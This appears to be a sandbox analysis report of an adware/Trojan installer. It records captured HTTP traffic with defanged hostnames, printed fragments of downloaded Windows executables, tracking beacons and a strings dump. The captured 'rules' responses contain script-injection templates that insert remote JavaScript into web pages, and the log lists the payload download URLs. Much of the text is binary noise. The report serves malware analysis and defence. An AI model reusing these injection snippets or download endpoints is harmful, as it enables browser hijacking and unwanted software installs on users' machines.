400a.................F....<E....b..J.{.A.xtm..w..v...D.U.H..@I.".Y.{..Yk^h^a...L$.Uv.}f..[E ........`...U.g~p.......tQyc.~...wqq.D7...z..}.....G...3<_..Cz....<. .................c.2.h2{?...G.........^......../.R]....FE.]......U.l......!...p....De.0.}.C...(...I.:.&Y....%..A`.JF.d.f.~_:MRm..m.gQ.e.4[&..Y....y....Qj.{#............}..*.Nl...E.)...N...n=Q.J..i6.n..2.T.|...pp...y..Y....).......}o........._P.<....`.1...r....Fi.@__.\........z}|..t..O...aZ7~J.1;.T..^`.....s.a.........4.G\/..V....\>...=..~.z6{.o.xC.....D.]z4.....C..Cz.......V...h.....ofug1..S..|..........I.TCo=..........3/.Y1.f.._......*.n.%EI5....lt..Dl.H..L.....o.w.zG)...fv.Og...|8.g.I0.f...*M.*).....lF.%...R..t.......>.x.....x.5...F..t:.?....{.o6.... i.y0...f!....3.............H.vC..z<`.d...}...F..v...}....H...w..k.*..M..T-.l.b...40...pOu....b..f.N.....M...D.c.].Ln.L.AFG....$...S.2.pp...6..x*...zY.4.J8?X............k.z.{.L.....9n..n......vC^T......g....R.......r".~......"....... 8.=.....m.e.*J.%x{.-.*G.#..._}.eD....7zfn.*....?.=../...'...~..~...N}>..T.].U].8.U..V'..F....j.N..>..#.V...*V..&.....n.8.r..j..#..$..a>...et.....{.O..N.*..85....F.S...OC?.1pM.5"..< ..,.U.....!......h.. 4.0....=0{c...>.:A..A....c..x.....Dg.....Wd..`..)^..*d.o-..h.t..R........3..I1!.8$k"...............W...n.j..1-.W..`".t._..s.....K....1...5...((q..1@..:`R...CsH..pAYN..Z2.<.u.]VW'...W.M|..h..sY.w...3s......p.7:sj..fT....lq:.......@....Fb%.U.d%.p..Y....g....T..Z.?..........Wx6...{.:.....\.Mt.6..Bq4...Y..!...n.qU\..hP .H..j...q...............2

<<< skipped >>>

GET /local/js/simple_other.js?version=20150907a0824 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442019795&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en; uid=773991338129

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:00:37 GMT

Content-Type: application/x-javascript; charset=utf-8

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Mon, 12 Oct 2015 01:00:37 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip

1df1.............\.s.8.. 2'.!#.".~.V9..d/..=;..x\0.[L$B!!..K.....).a;3.Uw..,...Cw...4u......qE...baR...$....aL...I. NBW..P....9....Sx..Z.'V..6l..^f=.6..b....<.....h......'..._s$..Mz.w...a..Z.$..c l...........).N! .....ZFc.0Z\.e[@.D....$.....j....u ........xA.R.Xs...&.I6.. .A22..{b~...}..4H.bq.V.uHf&w.4..9.....v.YQ.Y.z.h...Efw..s...6g....s.D..N...smU.....8w .F.|b\F744..{...q.E!....gAn...y.........n..L............r......i.....]...........v...$..'....DK.8..."..?-.A...~E.;..$.%.`..J..........\.)....t.8...$..L.....z...xeX.K...!k6M.Z....m..EeVp..Vgja../i.-.9.A..Y...0...;......[-..Z>.......&G0.......^..[..:.....v..C.b.$=......C.oR..5:<.X-.F2?...GIBnMo...-;.x..0.F..)O.3(...>:......;g.....YH.md..D..=.e`uJ.3R.....t.s...f..*m!.....A...7..R........M..r.7......F...b..."...d.=.v;.DS.e.d6....qN..... ..`[...".*..M.//.N.$...'M..7i2.Id.f...l.6.......C-....7......M..7,....Y.....%..................sw4.....W....jF.T..... Z...Ol.s._.....O..0.0...v`...i.r....?....`..X.=P...A....:.~w4..z....H.. ..t.dh.....G....@!.!..{fw.......~..ZU(=....z.h4..@..(^.u.....A..(.^.....=...P....n.<..@.!.o8t.n...qe,...Q*..7.....L....58<Oqe<v{......u.......F.:.u%.....\..JO.....:..[../.x....A.3F8...p..>t3......".......(....z.n...I...T......CO..Ht,....Z7...v.N....2t.>h...........pQ.U }.d.0p{.Q...A..Hz.....7.A2F$.....).....S.......`.J(.h..t.....H@.....H...OW...XF^o0.A..`....L...P@.#.J0..T.......;.....C0`UK....G !...:...............MEU......u..D.....E....]w...j.x....cX.n...@.u....4...P`.n...P.v.. .x.....zn......t.co....J.t.#P.N.S.. .@

<<< skipped >>>

GET /css/go.css HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/MrqsDW

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/css

Last-Modified: Tue, 06 Mar 2012 18:42:07 GMT

Date: Sat, 12 Sep 2015 01:03:16 GMT

Expires: Sat, 12 Sep 2015 01:03:16 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 2135

X-XSS-Protection: 1; mode=block

...........W...J.~.6fc..4N.....{......{...F.%...../.s..}.M.T......YY.Yy..wb{..r[.....v.0.j..A1.H.Us.'-...F6..oo.v....jEA.e.V..o.V.p....8.v...D .}..>..{:.S..#8t.....m.....6.....x......B.&...OfhS.8.6.C.G>F...Bj]...Q>......:N6.(qp...0....$......!=..O....B.B.../ J.XJ6.f.7.`..C.R|g...:NM....Dl.H.}..<RU..Hx^..............:...K)..\;?....C.q....ZF.:...S.........md...".S.....v.%\..(uHf.c....E..J]....7.S.....8....~l......q.g.:}.........y.S"w..........`;T.Y..n...i.^.L.Q.j.F.~.......e.,.o.H..k.....s.=7..6|....0._|.Q..j.}.Y.Nf.....9(.fS.V.2m..e.Q.}.ZNJ.F..d.a.-:..l..7{.S.%3./..{#...'..4WRH..&Q...n.R.l.z..)-.,....-Fci...Y....[......#.z...^k/.9f.uE.w...........M..=/'..r!.....j..'..A.gu,U..^..._.-.....v."n.....Z..M[..,.m...Mc?|y...s4:..a..GG7.N.F.%.nd..k.R6.t.^].....}.w..I.F.wzQ/...8........Y...q..{..;.'../K....a.&'....6.M..t...A....e.....=.........m...J....ijp........r......9....^'..rw...v....xV..{c7...@.....S N..rU.....6..Cu..........N48.......F..:.3...M.K..B. .-..17.n...Vw*.t..o.....G..F..h6...^[.|.[F.a6E..P..KG...3/......6..s..cC.o./.c.4......b1....8.F.Q.J..$'o..n..HUg..7..7j.R.....IL..n/.....6.z....<....ei..i.b....-......-.eh....%...d.:[.h<.Kca..1......A.G"..Vo_.)..y._.K...%9.fM.&....).eu..4...K.3>.b9.*..3Y.^4..r. .cCY.,....rC.A.q.....3.T..vO.Q..Xf../....)j.....u,8.x1.%.o(Mch5.F.hLi.lWF.U..k.'.R....a|......QX..a..~..,...X.&^.`0.4)..W ASOzo6...$.......#..EA..rj.Y......../.L...(.....E......,6...V...S~2e.I....]...nC.x.*......ysL..u],..b..8..tx^G.......B...wlgo...5..."oJ.Y.M....f1.................>.)..

<<< skipped >>>

GET /images/logos/url_shortener_logo.gif HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/MrqsDW

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT

Date: Sat, 12 Sep 2015 01:03:17 GMT

Expires: Sat, 12 Sep 2015 01:03:17 GMT

Cache-Control: private, max-age=31536000

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 3990

X-XSS-Protection: 1; mode=block

GIF89a..(.....[..r..z..d..x#9t=7vA:s@..'..)..-.0<..*..,.. .....0..1../..1.&6. 8.'6.4;.58.p..v..{..s%.8D.6E.8B.MR.QV.zM.\`.np.xw.KW.OT.FF.SS.ZV.b[.^g.mm.pn........#..%..(8.IN.VJ._M.a=.LT.]W.db.l..........................6..&..$..7..,..8..Z..t..G..P..N..{..z..H..U..s.&.....1..2..5..9..<.2D..@.5M.$D.(G.2N.Ve.hs.G[.D\.Uf.Ri.Uk.ix.cv.,K.0O.4R.7V.<Y.:[.;^.?a.=b.?f.A].Eb.Lg.To.Rl.Ys.[s.Gj.@g.Bj.Kr.Xx.dz.d|.Cm.Jv.S}..~.{..y..m..y..~..\..k..y..l..f..r..u..y..x..}..X..g..h..y..e..x.................................................................................................................................................................................................................................................................................................................!.......,......(........H......*\.p`8[..........3j....G}..);F...v.<.......8f.@.....8s...p..A..5j.H..A.,.3g..J~....Y ...N.j..U....D.R....U....C..#rX.^../...U...../Fu..%2.*..x.....*..7l.].{Q.....Q6....{.6.F...!R......."0aHqK9Z....5...l.......k..n.....tm^\....!...q..s.....G{Y(.u.G.....4.....B~..e.~.`............YSI..M..<....8.48.s...[m.y..x.q.!....I%o...J.....*..J-.!TO.Q$a..Q..`B.......d.5.IX.=........aN....V...N%....7K^... ..K ,|.B.,....N...,P.a..S8..3.X.. .P....h...2.6.?..........c~..A.A..@....=65..?. ..0.X(...8../....5..2L9....)?....9X8r.=..d.3..*.@..zj....,3.z....HS. d...J...JY.p.M .|`A ..4....r.7.p#..C...}..s.#.`..){.A.).p....... (...6.."n..<*.p..7.@.....j.#...;...#[..3.f!I4ndQ..(....X.\.... .:zh..=ldA..Zd..@..A..k.......2.V.

<<< skipped >>>

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.wpm HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 12 Sep 2015 01:03:14 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.75 ms","message":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 12 Sep 2015 01:03:14 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.75 ms","message":"store 1 action and 0 update "}..0......

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.ssfk HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 12 Sep 2015 01:03:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

4a..{"stats":"ok","time":"552.17 ms","message":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 12 Sep 2015 01:03:16 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..4a..{"stats":"ok","time":"552.17 ms","message":"store 1 action and 0 update "}..0..

GET /services/rules.txt?dummy=791 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.ninjasoftwarellc.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:41 GMT

Content-Type: text/plain

Content-Length: 313

Connection: keep-alive

Last-Modified: Wed, 19 Aug 2015 14:14:21 GMT

ETag: "57c94d-139-51daaa6a48940"

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

Accept-Ranges: bytes

</head>|<script src="hXXps://njaxjs.me/services/script.js"></script></head>.yupfiles.net|xyupfiles.net.descontosofertas.com.br|xdescontosofertas.com.br.searchinfofast|xsearchinfofas.apiplainsavingsc|apiplainsavingscx.{njax_null}|<script src="hXXps://njaxjs.me/services/script.js" type="text/javascript"></script>...

GET /css?family=Open Sans:300,400,700&subset=latin,cyrillic-ext,greek-ext,cyrillic,greek,vietnamese,latin-ext HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/MrqsDW

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Expires: Sat, 12 Sep 2015 01:03:17 GMT

Date: Sat, 12 Sep 2015 01:03:17 GMT

Cache-Control: private, max-age=86400

Content-Length: 165

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. src: url(hXXp://fonts.gstatic.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Access-Control-Allow-Origin: *..Timing-Allow-Origin: *..Expires: Sat, 12 Sep 2015 01:03:17 GMT..Date: Sat, 12 Sep 2015 01:03:17 GMT..Cache-Control: private, max-age=86400..Content-Length: 165..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X-XSS-Protection: 1; mode=block..Server: GSE..@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. src: url(hXXp://fonts.gstatic.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot);.}...

GET /310714d/310714_is.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sat, 12 Sep 2015 01:00:58 GMT

Content-Type: application/octet-stream

Content-Length: 827560

Last-Modified: Wed, 02 Sep 2015 18:52:41 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@......hE.P.........@..............................P........,..............(...........................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P..................................................................................................................................................................string................<.@.....m.@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance..L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameIs...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsFrom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..FieldAddress...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObject.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.

<<< skipped >>>

GET /310714d/240714_ps.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sat, 12 Sep 2015 01:01:02 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 523272

Content-Description: File Transfer

Content-Disposition: attachment; filename="240714_ps.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z....... ...0.......p....@.......................... ...............................................s.......................................................................................p...............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...x............p..............@....ndata.......p...........................rsrc................t..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....nD..H.P.u..u..u...Hr@..B...SV.5.nD..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..D.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G.....t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /310714d/310714_br.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sat, 12 Sep 2015 01:01:04 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 1606945

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_br.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x...x...x.......z...x...........i...,...t.......y...Richx...................PE..L......K.................\....9.....?2.......p....@...........................;..............................................s........:..............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc.........:......v..............@..@................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....&z..H.P.u..u..u...Hr@..B...SV.5.&z..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..z.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...'z...Si.....VW.T.....tO.q.3.;5.'z.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.'z.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /310714d/291014_nj.exe?token=DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sat, 12 Sep 2015 01:01:08 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 2979081

Content-Description: File Transfer

Content-Disposition: attachment; filename="291014_nj.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x...x...x.......z...x...........i...,...t.......y...Richx...................PE..L......K.................\....9.....?2.......p....@.......................... ;..............................................s........;..............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc.........;......v..............@..@................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....&z..H.P.u..u..u...Hr@..B...SV.5.&z..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..z.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...'z...Si.....VW.T.....tO.q.3.;5.'z.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.'z.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /310714d/280815_cr.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sat, 12 Sep 2015 01:01:15 GMT

Content-Type: application/octet-stream

Content-Length: 1568162

Last-Modified: Sat, 12 Sep 2015 01:01:03 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x...x...x.......z...x...........i...,...t.......y...Richx...................PE..L......K.................\....9.....?2.......p....@...........................;..............................................s........:.`............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc...`.....:......v..............@..@................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....&z..H.P.u..u..u...Hr@..B...SV.5.&z..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..z.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...'z...Si.....VW.T.....tO.q.3.;5.'z.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.'z.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action=pcm.installer.istartsurf.finish HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:07 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.70 ms","message":"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sat, 12 Sep 2015 01:03:07 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"0.70 ms","message":"store 1 action and 0 update "}..0..

GET /services/rules?dummy=213 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Sat, 12 Sep 2015 01:03:27 GMT

Content-Type: text/plain

Connection: close

P3P: CP="Potato"

X-Cache: MISS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true

</body>|<script>var cb_instID='{instID}';cbS=document.createElement("script");cbS.setAttribute("type","text/javascript");cbS.setAttribute("src", "hXXp://related.deals/services/load.js");document.body.appendChild(cbS);</script></body>.descontosofertas.com.br|xdescontosofertas.com.br.{cashReminder_instID}|{instID}...

GET /logic/z.php HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sat, 12 Sep 2015 01:00:33 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Content-Encoding: gzip

3e............K1...423OJ4M52M1J2N.H4OK7.2...7I5OO 1*.HNM...<.&*.....0..HTTP/1.1 200 OK..Server: Tengine/1.2.2..Date: Sat, 12 Sep 2015 01:00:33 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.14..Content-Encoding: gzip..3e............K1...423OJ4M52M1J2N.H4OK7.2...7I5OO 1*.HNM...<.&*.....0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1980:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

unpacking data: %d%%

unpacking data: %d%%

... %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

ShowWebInPopUp

ShowWebInPopUp

\LOCALS~1\Temp\nss3.tmp\nsWeb.dll

\LOCALS~1\Temp\nss3.tmp\nsWeb.dll

h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO.exe

h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO.exe

ZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe

ZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp\nsWeb.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp\nsWeb.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp

9.uGAAf

9.uGAAf

t%SSj

t%SSj

GetWindowsDirectoryW

GetWindowsDirectoryW

RegEnumKeyExW

RegEnumKeyExW

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyExW

RegCreateKeyExW

RegOpenKeyExW

RegOpenKeyExW

RegDeleteKeyW

RegDeleteKeyW

registry.dll

registry.dll

_CopyKey

_CopyKey

_CreateKey

_CreateKey

_DeleteKey

_DeleteKey

_DeleteKeyEmpty

_DeleteKeyEmpty

_KeyExists

_KeyExists

_MoveKey

_MoveKey

_RestoreKey

_RestoreKey

_SaveKey

_SaveKey

@.reloc

@.reloc

n%D,3

n%D,3

GetProcessHeap

GetProcessHeap

OLEAUT32.dll

OLEAUT32.dll

CreateURLMoniker

CreateURLMoniker

urlmon.dll

urlmon.dll

WININET.dll

WININET.dll

nsWeb.dll

nsWeb.dll

ShowWebInPage

ShowWebInPage

MSHTML.DLL

MSHTML.DLL

1 1$1(1,1014181

1 1$1(1,1014181

2r%fH

2r%fH

nss3.tmp

nss3.tmp

:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp

:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss3.tmp

c:\%original file name%.exe

c:\%original file name%.exe

